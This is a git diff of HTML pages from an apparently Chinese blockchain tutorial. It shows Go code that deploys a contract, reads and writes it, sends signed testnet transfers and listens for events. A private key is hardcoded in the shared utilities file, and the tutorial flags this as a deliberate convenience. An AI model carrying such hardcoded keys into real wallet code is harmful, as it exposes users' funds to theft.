    -    function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) {
    +    function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) {
             _mint(to, amount);
         }
     }
    @@ -3093,7 +3089,7 @@ 

    第1节:AccessControl

    @@ -3179,14 +3175,6 @@

    第1节:AccessControl

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/02_EnumerableSet.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/02_EnumerableSet.html" index d5c5d365..3d4c6995 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/02_EnumerableSet.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/02_EnumerableSet.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/03_EnumerableMap.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/03_EnumerableMap.html" index f36b12f5..6b9c60f1 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/03_EnumerableMap.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/03_EnumerableMap.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/04_BitMaps.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/04_BitMaps.html" index e654d9cc..61d243de 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/04_BitMaps.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/04_BitMaps.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/05_DoubleEndedQueue.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/05_DoubleEndedQueue.html" index 94c01117..662069dd 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/05_DoubleEndedQueue.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/05_DoubleEndedQueue.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/06_ECDSA.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/06_ECDSA.html" index 51960681..d437d139 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/06_ECDSA.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/06_ECDSA.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/07_SignatureChecker.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/07_SignatureChecker.html" index b77b795c..0de784c9 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/07_SignatureChecker.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/07_SignatureChecker.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/08_EIP712.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/08_EIP712.html" index d8325a2e..342b83df 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/08_EIP712.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/08_EIP712.html" @@ -36,10 +36,6 @@ - - - - @@ -3044,7 +3040,7 @@

    @@ -3130,14 +3126,6 @@

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/index.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/index.html" index ad6cd427..97d732b3 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/index.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3057,7 +3053,7 @@

    第6章:Openzeppeline

    @@ -3143,14 +3139,6 @@

    第6章:Openzeppeline

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/01_\347\274\226\350\257\221\351\203\250\347\275\262\345\220\210\347\272\246.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/01_\347\274\226\350\257\221\351\203\250\347\275\262\345\220\210\347\272\246.html" index f0e22110..e7f412fe 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/01_\347\274\226\350\257\221\351\203\250\347\275\262\345\220\210\347\272\246.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/01_\347\274\226\350\257\221\351\203\250\347\275\262\345\220\210\347\272\246.html" @@ -36,10 +36,6 @@ - - - - @@ -3033,10 +3029,10 @@

    前置条件

    安装编译器

    solc会对合约进行编译,生成:abi和bytecode

    -
    # Ubuntu
    +
    # Ubuntu
     sudo snap install solc --edge
     
    -# MacOS
    +# MacOS
     brew update
     brew tap ethereum/ethereum
     brew install solidity
    @@ -3044,26 +3040,26 @@ 

    安装编译器

    安装abigen

    abigen可以对abi进行编译,生成配套的go代码,从而支持我们进行后续开发。

    go get -u github.com/ethereum/go-ethereum
    -cd $GOPATH/src/github.com/ethereum/go-ethereum/
    +cd $GOPATH/src/github.com/ethereum/go-ethereum/
     make
     make devtools
     

    编写合约

    创建工程:go mod init code,并创建文件contracts/Store.sol

    -
    // SPDX-License-Identifier: GPL-3.0
    -pragma solidity =0.8.15;
    +
    // SPDX-License-Identifier: GPL-3.0
    +pragma solidity =0.8.15;
     
     contract Store {
       event ItemSet(bytes32 key, bytes32 value);
     
       string public version;
    -  mapping (bytes32 => bytes32) public items;
    +  mapping (bytes32 => bytes32) public items;
     
    -  constructor(string memory _version) {
    +  constructor(string memory _version) {
         version = _version;
       }
     
    -  function setItem(bytes32 key, bytes32 value) external {
    +  function setItem(bytes32 key, bytes32 value) external {
         items[key] = value;
         emit ItemSet(key, value);
       }
    @@ -3072,106 +3068,106 @@ 

    编写合约

    编译合约

    https://geth.ethereum.org/docs/tools/abigen

    指定合约,生成abi和bin(bytecode),存放在metadata目录下,同时生成配套代码Store.go

    -
    # 1.通过.sol编译出abi
    +
    # 1.通过.sol编译出abi
      solc --abi --bin contracts/Store.sol -o metadata
     
    -# 2.通过abi编译出go文件
    -abigen --abi=metadata/Store.abi --bin=metadata/Store.bin --pkg=store --type Store --out=src/Store.go
    +# 2.通过abi编译出go文件
    +abigen --abi=metadata/Store.abi --bin=metadata/Store.bin --pkg=store --type Store --out=src/Store.go
     
    -# 4.安装go依赖包
    +# 4.安装go依赖包
     go mod tidy
     

    当前工程目录结构:

    image-20221130114625242

    部署合约

    创建部署文件main/deploy.go,准备部署到bsc testnet,chainid:56

    -
    package main
    +
    package main
     
    -import (
    -    "fmt"
    -    "log"
    +import (
    +    "fmt"
    +    "log"
     
    -    utils "code/main/utils"
    -    store "code/src"
    +    utils "code/main/utils"
    +    store "code/src"
     
    -    "github.com/ethereum/go-ethereum/ethclient"
    +    "github.com/ethereum/go-ethereum/ethclient"
     )
     
    -func main() {
    +func main() {
         client, err := ethclient.Dial(utils.BscTestnetRpc)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    auth := utils.Prepare(utils.HardhatPrivateKey, 0, client)
    +    auth := utils.Prepare(utils.HardhatPrivateKey, 0, client)
     
    -    input := "1.0"
    +    input := "1.0"
         address, tx, instance, err := store.DeployStore(auth, client, input)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // 0x587bf1bc96163e279d2ea1b27f3b41cc34b171c3
    -    fmt.Println("address:", address.Hex())
    +    // 0x587bf1bc96163e279d2ea1b27f3b41cc34b171c3
    +    fmt.Println("address:", address.Hex())
     
    -    // https://testnet.bscscan.com/tx/0x082186993e2786744366e2147827841dc02115439d9d3786ce39a1774209d38a
    -    fmt.Println("tx hash:", tx.Hash().Hex())
    +    // https://testnet.bscscan.com/tx/0x082186993e2786744366e2147827841dc02115439d9d3786ce39a1774209d38a
    +    fmt.Println("tx hash:", tx.Hash().Hex())
         _ = instance
     }
     

    main/utils/utils.go,为了方便开发,下面的私钥刻意暴露了出来,实际的代码中,应该使用环境变量,将私钥存放在.env文件中,请小心处理之,否则资产会被零元购

    -
    package utils
    +
    package utils
     
    -import (
    -    "context"
    -    "crypto/ecdsa"
    -    "log"
    -    "math/big"
    +import (
    +    "context"
    +    "crypto/ecdsa"
    +    "log"
    +    "math/big"
     
    -    "github.com/ethereum/go-ethereum/accounts/abi/bind"
    -    "github.com/ethereum/go-ethereum/crypto"
    -    "github.com/ethereum/go-ethereum/ethclient"
    +    "github.com/ethereum/go-ethereum/accounts/abi/bind"
    +    "github.com/ethereum/go-ethereum/crypto"
    +    "github.com/ethereum/go-ethereum/ethclient"
     )
     
    -var (
    -    BscTestnetRpc = "https://data-seed-prebsc-2-s1.binance.org:8545"
    +var (
    +    BscTestnetRpc = "https://data-seed-prebsc-2-s1.binance.org:8545"
     
    -    // address: 0xc783df8a850f42e7f7e57013759c285caa701eb6
    -    HardhatPrivateKey = "c5e8f61d1ab959b397eecc0a37a6517b8e67a0e7cf1f4bce5591f3ed80199122"
    +    // address: 0xc783df8a850f42e7f7e57013759c285caa701eb6
    +    HardhatPrivateKey = "c5e8f61d1ab959b397eecc0a37a6517b8e67a0e7cf1f4bce5591f3ed80199122"
     )
     
    -func Prepare(privKey string, value int64, client *ethclient.Client) *bind.TransactOpts {
    +func Prepare(privKey string, value int64, client *ethclient.Client) *bind.TransactOpts {
         privateKey, err := crypto.HexToECDSA(privKey)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         publicKey := privateKey.Public()
         publicKeECDSA, ok := publicKey.(*ecdsa.PublicKey)
    -    if !ok {
    -        log.Fatal("invalid public key type")
    +    if !ok {
    +        log.Fatal("invalid public key type")
         }
     
         fromAddress := crypto.PubkeyToAddress(*publicKeECDSA)
         nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         gasPrice, err := client.SuggestGasPrice(context.Background())
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // chainId := 56
    -    // auth, _ := bind.NewKeyedTransactorWithChainID(privateKey, big.NewInt(int64(56)))
    +    // chainId := 56
    +    // auth, _ := bind.NewKeyedTransactorWithChainID(privateKey, big.NewInt(int64(56)))
         auth := bind.NewKeyedTransactor(privateKey)
    -    auth.Nonce = big.NewInt(int64(nonce))
    +    auth.Nonce = big.NewInt(int64(nonce))
         auth.Value = big.NewInt(value)
    -    // auth.GasLimit = uint64(300000)
    +    // auth.GasLimit = uint64(300000)
         auth.GasPrice = gasPrice
     
    -    return auth
    +    return auth
     }
     

    执行结果,点击查看

    @@ -3214,7 +3210,7 @@

    相关链接

    @@ -3300,14 +3296,6 @@

    相关链接

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/02_\350\257\273\345\206\231\345\220\210\347\272\246.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/02_\350\257\273\345\206\231\345\220\210\347\272\246.html" index 08e23ea6..a7c4ed97 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/02_\350\257\273\345\206\231\345\220\210\347\272\246.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/02_\350\257\273\345\206\231\345\220\210\347\272\246.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,67 +3026,67 @@

    第2节:读写合约

  • 写合约
  • 读合约
  • -
    package main
    +
    package main
     
    -import (
    -    utils "code/main/utils"
    -    store "code/src"
    -    "fmt"
    -    "log"
    +import (
    +    utils "code/main/utils"
    +    store "code/src"
    +    "fmt"
    +    "log"
     
    -    "github.com/ethereum/go-ethereum/common"
    -    "github.com/ethereum/go-ethereum/ethclient"
    +    "github.com/ethereum/go-ethereum/common"
    +    "github.com/ethereum/go-ethereum/ethclient"
     )
     
    -func main() {
    +func main() {
         client, err := ethclient.Dial(utils.BscTestnetRpc)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // 1. 准备合约地址
    -    contractAddr := "0x587bf1bc96163e279d2ea1b27f3b41cc34b171c3"
    +    // 1. 准备合约地址
    +    contractAddr := "0x587bf1bc96163e279d2ea1b27f3b41cc34b171c3"
         address := common.HexToAddress(contractAddr)
     
    -    // 2. 创建合约实例
    +    // 2. 创建合约实例
         instance, err := store.NewStore(address, client)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // 3. 读取合约
    -    version, err := instance.Version(nil)
    -    if err != nil {
    +    // 3. 读取合约
    +    version, err := instance.Version(nil)
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    fmt.Println("version:", version)
    +    fmt.Println("version:", version)
     
    -    /// 4. 构造私钥相关数据
    -    // address: 0xc783df8a850f42e7f7e57013759c285caa701eb6
    -  // Prepare代码见上一节
    -    auth := utils.Prepare(utils.HardhatPrivateKey, 0, client)
    +    /// 4. 构造私钥相关数据
    +    // address: 0xc783df8a850f42e7f7e57013759c285caa701eb6
    +  // Prepare代码见上一节
    +    auth := utils.Prepare(utils.HardhatPrivateKey, 0, client)
     
    -    // 5. 写合约
    -    key := [32]byte{}
    -    value := [32]byte{}
    -    copy(key[:], []byte("foo"))
    -    copy(value[:], []byte("bar"))
    +    // 5. 写合约
    +    key := [32]byte{}
    +    value := [32]byte{}
    +    copy(key[:], []byte("foo"))
    +    copy(value[:], []byte("bar"))
     
         tx, err := instance.SetItem(auth, key, value)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    fmt.Printf("tx sent: %s\n", tx.Hash().Hex())
    +    fmt.Printf("tx sent: %s\n", tx.Hash().Hex())
     
    -    // 6. 再次读取合约
    -    result, err := instance.Items(nil, key)
    -    if err != nil {
    +    // 6. 再次读取合约
    +    result, err := instance.Items(nil, key)
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    fmt.Println("result:", string(result[:]))
    +    fmt.Println("result:", string(result[:]))
     }
     

    执行结果:点击查看

    @@ -3122,7 +3118,7 @@

    第2节:读写合约

    @@ -3208,14 +3204,6 @@

    第2节:读写合约

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/03_SendTx\350\275\254\350\264\246.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/03_SendTx\350\275\254\350\264\246.html" index 5b6f7d44..e023f48b 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/03_SendTx\350\275\254\350\264\246.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/03_SendTx\350\275\254\350\264\246.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,76 +3023,76 @@

    第3节:SendTx转账

  • 私钥签名
  • 广播签名交易
  • -
    package main
    +
    package main
     
    -import (
    -    "context"
    -    "crypto/ecdsa"
    -    "fmt"
    -    "log"
    -    "math/big"
    +import (
    +    "context"
    +    "crypto/ecdsa"
    +    "fmt"
    +    "log"
    +    "math/big"
     
    -    "github.com/ethereum/go-ethereum/common"
    -    "github.com/ethereum/go-ethereum/core/types"
    -    "github.com/ethereum/go-ethereum/crypto"
    -    "github.com/ethereum/go-ethereum/ethclient"
    +    "github.com/ethereum/go-ethereum/common"
    +    "github.com/ethereum/go-ethereum/core/types"
    +    "github.com/ethereum/go-ethereum/crypto"
    +    "github.com/ethereum/go-ethereum/ethclient"
     
    -    utils "code/main/utils"
    +    utils "code/main/utils"
     )
     
    -func main() {
    +func main() {
         client, err := ethclient.Dial(utils.BscTestnetRpc)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         privateKey, err := crypto.HexToECDSA(utils.HardhatPrivateKey)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         publicKey := privateKey.Public()
         publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
    -    if !ok {
    -        log.Fatal("cannot assert type: publicKey is not of type *ecdsa.PublicKey")
    +    if !ok {
    +        log.Fatal("cannot assert type: publicKey is not of type *ecdsa.PublicKey")
         }
     
         fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
         nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    value := big.NewInt(10000000000000000) // in wei (0.01 eth)
    -    gasLimit := uint64(21000)              // in units
    +    value := big.NewInt(10000000000000000) // in wei (0.01 eth)
    +    gasLimit := uint64(21000)              // in units
         gasPrice, err := client.SuggestGasPrice(context.Background())
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    toAddress := common.HexToAddress("0xE8191108261f3234f1C2acA52a0D5C11795Aef9E")
    -    var data []byte
    +    toAddress := common.HexToAddress("0xE8191108261f3234f1C2acA52a0D5C11795Aef9E")
    +    var data []byte
         tx := types.NewTransaction(nonce, toAddress, value, gasLimit, gasPrice, data)
     
         chainID, err := client.NetworkID(context.Background())
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // 私钥签名
    +    // 私钥签名
         signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // 广播
    +    // 广播
         err = client.SendTransaction(context.Background(), signedTx)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // https://testnet.bscscan.com/tx/0x07ed05b331dd9668fc4f80fee155d08a8d819194750b34469014adc368667070
    -    fmt.Printf("tx sent: %s", signedTx.Hash().Hex())
    +    // https://testnet.bscscan.com/tx/0x07ed05b331dd9668fc4f80fee155d08a8d819194750b34469014adc368667070
    +    fmt.Printf("tx sent: %s", signedTx.Hash().Hex())
     }
     

    执行结果,点击查看

    @@ -3128,7 +3124,7 @@

    第3节:SendTx转账

    @@ -3214,14 +3210,6 @@

    第3节:SendTx转账

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/04_SendRawTx\350\275\254\350\264\246.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/04_SendRawTx\350\275\254\350\264\246.html" index 484d269c..2f723d7f 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/04_SendRawTx\350\275\254\350\264\246.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/04_SendRawTx\350\275\254\350\264\246.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,92 +3025,92 @@

    第4节:SendRawTx转账

  • rlp解码成string
  • 发送rawTx
  • -
    package main
    -
    -import (
    -    "context"
    -    "crypto/ecdsa"
    -    "encoding/hex"
    -    "fmt"
    -    "log"
    -    "math/big"
    -
    -    "github.com/ethereum/go-ethereum/common"
    -    "github.com/ethereum/go-ethereum/core/types"
    -    "github.com/ethereum/go-ethereum/crypto"
    -    "github.com/ethereum/go-ethereum/ethclient"
    -    "github.com/ethereum/go-ethereum/rlp"
    -
    -    utils "code/main/utils"
    +
    package main
    +
    +import (
    +    "context"
    +    "crypto/ecdsa"
    +    "encoding/hex"
    +    "fmt"
    +    "log"
    +    "math/big"
    +
    +    "github.com/ethereum/go-ethereum/common"
    +    "github.com/ethereum/go-ethereum/core/types"
    +    "github.com/ethereum/go-ethereum/crypto"
    +    "github.com/ethereum/go-ethereum/ethclient"
    +    "github.com/ethereum/go-ethereum/rlp"
    +
    +    utils "code/main/utils"
     )
     
    -func main() {
    +func main() {
         client, err := ethclient.Dial(utils.BscTestnetRpc)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         privateKey, err := crypto.HexToECDSA(utils.HardhatPrivateKey)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         publicKey := privateKey.Public()
         publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
    -    if !ok {
    -        log.Fatal("cannot assert type: publicKey is not of type *ecdsa.PublicKey")
    +    if !ok {
    +        log.Fatal("cannot assert type: publicKey is not of type *ecdsa.PublicKey")
         }
     
         fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
         nonce, err := client.PendingNonceAt(context.Background(), fromAddress)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    value := big.NewInt(100000000000000) // in wei (0.001 eth)
    -    gasLimit := uint64(21000)            // in units
    +    value := big.NewInt(100000000000000) // in wei (0.001 eth)
    +    gasLimit := uint64(21000)            // in units
         gasPrice, err := client.SuggestGasPrice(context.Background())
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    toAddress := common.HexToAddress("0xE8191108261f3234f1C2acA52a0D5C11795Aef9E")
    -    var data []byte
    +    toAddress := common.HexToAddress("0xE8191108261f3234f1C2acA52a0D5C11795Aef9E")
    +    var data []byte
         tx := types.NewTransaction(nonce, toAddress, value, gasLimit, gasPrice, data)
     
         chainID, err := client.NetworkID(context.Background())
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
         signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    fmt.Println("signedTx:", signedTx)
    +    fmt.Println("signedTx:", signedTx)
     
    -    // *********** 以下内容不同 !!************
    -    // 解析交易,获取rawTxData
    +    // *********** 以下内容不同 !!************
    +    // 解析交易,获取rawTxData
         ts := types.Transactions{signedTx}
    -    rawTxBytes, _ := rlp.EncodeToBytes(ts[0])
    +    rawTxBytes, _ := rlp.EncodeToBytes(ts[0])
         rawTxHex := hex.EncodeToString(rawTxBytes)
    -    fmt.Printf("rawTxHex Encode:\n", rawTxHex) // f86...772
    +    fmt.Printf("rawTxHex Encode:\n", rawTxHex) // f86...772
     
    -    // 广播交易 rawTxData
    +    // 广播交易 rawTxData
         rawTxBytesDecode, err := hex.DecodeString(rawTxHex)
    -    fmt.Printf("rawTxHex Decode:\n", rawTxBytesDecode)
    +    fmt.Printf("rawTxHex Decode:\n", rawTxBytesDecode)
     
    -    txNew := new(types.Transaction)
    +    txNew := new(types.Transaction)
         rlp.DecodeBytes(rawTxBytesDecode, &txNew)
     
         err = client.SendTransaction(context.Background(), txNew)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -    // https://testnet.bscscan.com/tx/0xe5e6f9397365298f131a2e51aa5b85bb7a7deb8b2864417f926a9cc271156220
    -    fmt.Printf("txNew sent: %s", txNew.Hash().Hex())
    +    // https://testnet.bscscan.com/tx/0xe5e6f9397365298f131a2e51aa5b85bb7a7deb8b2864417f926a9cc271156220
    +    fmt.Printf("txNew sent: %s", txNew.Hash().Hex())
     }
     

    执行结果,点击查看

    @@ -3146,7 +3142,7 @@

    第4节:SendRawTx转账

    @@ -3232,14 +3228,6 @@

    第4节:SendRawTx转账

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/05_\350\256\242\351\230\205\344\272\213\344\273\266.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/05_\350\256\242\351\230\205\344\272\213\344\273\266.html" index 5b3f2c13..79a64cbd 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/05_\350\256\242\351\230\205\344\272\213\344\273\266.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/05_\350\256\242\351\230\205\344\272\213\344\273\266.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,50 +3024,57 @@

    第5节:订阅事件

  • 发起交易,产生事件
  • 查看事件
  • -
    package main
    -
    -import (
    -    utils "code/main/utils"
    -    "context"
    -    "fmt"
    -    "log"
    -
    -    "github.com/ethereum/go-ethereum"
    -    "github.com/ethereum/go-ethereum/common"
    -    "github.com/ethereum/go-ethereum/core/types"
    -    "github.com/ethereum/go-ethereum/ethclient"
    +
    package main
    +
    +import (
    +    utils "code/main/utils"
    +    "context"
    +    "fmt"
    +    "log"
    +
    +    "github.com/ethereum/go-ethereum"
    +    "github.com/ethereum/go-ethereum/common"
    +    "github.com/ethereum/go-ethereum/core/types"
    +    "github.com/ethereum/go-ethereum/ethclient"
     )
     
    -func main() {
    -  // 一定要是
    +func main() {
    +  // 一定要是
         client, err := ethclient.Dial(utils.GoerliWSS)
    -    if err != nil {
    -        log.Fatal("Dial err:", err)
    +    if err != nil {
    +        log.Fatal("Dial err:", err)
         }
     
    -    // 1. 准备合约地址
    -    contractAddr := "0xe4a220e0bd37673a90e2114abc98e4a22445c32e"
    +    // 1. 准备合约地址
    +    contractAddr := "0xe4a220e0bd37673a90e2114abc98e4a22445c32e"
         address := common.HexToAddress(contractAddr)
     
    -    // 2. 构造监听请求
    +    // 2. 构造监听请求
         query := ethereum.FilterQuery{
             Addresses: []common.Address{address},
    -        // FromBlock: new(big.Int).SetUint64(0),
    -        // ToBlock:   new(big.Int).SetUint64(1),
    +        // FromBlock: new(big.Int).SetUint64(0),
    +        // ToBlock:   new(big.Int).SetUint64(1),
         }
     
    -    // 3. 订阅事件
    -    logs := make(chan types.Log)
    +    // 3. 订阅事件
    +    logs := make(chan types.Log)
         sub, err := client.SubscribeFilterLogs(context.Background(), query, logs)
    -    if err != nil {
    +    if err != nil {
             log.Fatal(err)
         }
     
    -  // 4. 监听事件
    -    for {
    -        fmt.Println("ready to listen...")
    -        select {
    -        case err := 
    + // 4. 监听事件 + for { + fmt.Println("ready to listen...") + select { + case err := <-sub.Err(): + log.Fatal(err) + case vLog := <-logs: + fmt.Println(vLog) + } + } +} +

    执行结果,点击查看

    image-20221202165200028

    @@ -3101,7 +3104,7 @@

    第5节:订阅事件

    @@ -3187,14 +3190,6 @@

    第5节:订阅事件

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/06_\350\247\243\346\236\220\344\272\213\344\273\266.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/06_\350\247\243\346\236\220\344\272\213\344\273\266.html" index 351b4c84..1ef4d7db 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/06_\350\247\243\346\236\220\344\272\213\344\273\266.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/06_\350\247\243\346\236\220\344\272\213\344\273\266.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,91 +3022,91 @@

    第6节:解析事件

  • 本节适用于对历史数据进行过滤,处理,上一节适用于对新事件进行监听;
  • 对Data进行解析时,需要先构造对应的数据结构,用于存储数据;
  • Topic0就是事件的signature的hash值

    -
    package main
    +
    package main
     
    -import (
    - utils "code/main/utils"
    -   "context"
    -   "strings"
    +import (
    + utils "code/main/utils"
    +   "context"
    +   "strings"
     
    -   "github.com/ethereum/go-ethereum/accounts/abi"
    -   "github.com/ethereum/go-ethereum/crypto"
    +   "github.com/ethereum/go-ethereum/accounts/abi"
    +   "github.com/ethereum/go-ethereum/crypto"
     
    -   "fmt"
    -   "log"
    -   "math/big"
    +   "fmt"
    +   "log"
    +   "math/big"
     
    -   "github.com/ethereum/go-ethereum"
    -   "github.com/ethereum/go-ethereum/common"
    -   "github.com/ethereum/go-ethereum/ethclient"
    +   "github.com/ethereum/go-ethereum"
    +   "github.com/ethereum/go-ethereum/common"
    +   "github.com/ethereum/go-ethereum/ethclient"
     
    -   store "code/src"
    +   store "code/src"
     )
     
    -func main() {
    +func main() {
        client, err := ethclient.Dial(utils.GoerliWSS)
    -   if err != nil {
    -       log.Fatal("Dial err:", err)
    +   if err != nil {
    +       log.Fatal("Dial err:", err)
        }
     
    -   // 1. 准备合约地址
    -   contractAddr := "0xe4a220e0bd37673a90e2114abc98e4a22445c32e"
    +   // 1. 准备合约地址
    +   contractAddr := "0xe4a220e0bd37673a90e2114abc98e4a22445c32e"
        address := common.HexToAddress(contractAddr)
     
    -   // 2. 构造过滤查询条件
    +   // 2. 构造过滤查询条件
        query := ethereum.FilterQuery{
            Addresses: []common.Address{address},
    -       FromBlock: new(big.Int).SetUint64(8059333),
    -       ToBlock:   new(big.Int).SetUint64(8059380),
    +       FromBlock: new(big.Int).SetUint64(8059333),
    +       ToBlock:   new(big.Int).SetUint64(8059380),
        }
     
    -   // 3. 所有匹配的事件日志将存储在logs中
    -   // sub, err := client.SubscribeFilterLogs(context.Background(), query, logs)
    +   // 3. 所有匹配的事件日志将存储在logs中
    +   // sub, err := client.SubscribeFilterLogs(context.Background(), query, logs)
        logs, err := client.FilterLogs(context.Background(), query)
    -   if err != nil {
    -       log.Fatal("FilterLogs err:", err)
    +   if err != nil {
    +       log.Fatal("FilterLogs err:", err)
        }
     
    -   contractAbi, err := abi.JSON(strings.NewReader(string(store.StoreABI)))
    -   if err != nil {
    +   contractAbi, err := abi.JSON(strings.NewReader(string(store.StoreABI)))
    +   if err != nil {
            log.Fatal(err)
        }
     
    -   for _, vLog := range logs {
    -       fmt.Println("find new event:")
    -       fmt.Println("\tblock hash:", vLog.BlockHash.Hex())
    -       fmt.Println("\tblock num :", vLog.BlockNumber)
    -       fmt.Println("\ttx   hash :", vLog.TxHash.Hex())
    +   for _, vLog := range logs {
    +       fmt.Println("find new event:")
    +       fmt.Println("\tblock hash:", vLog.BlockHash.Hex())
    +       fmt.Println("\tblock num :", vLog.BlockNumber)
    +       fmt.Println("\ttx   hash :", vLog.TxHash.Hex())
     
    -       // 解析Event中的Data
    -       event := struct {
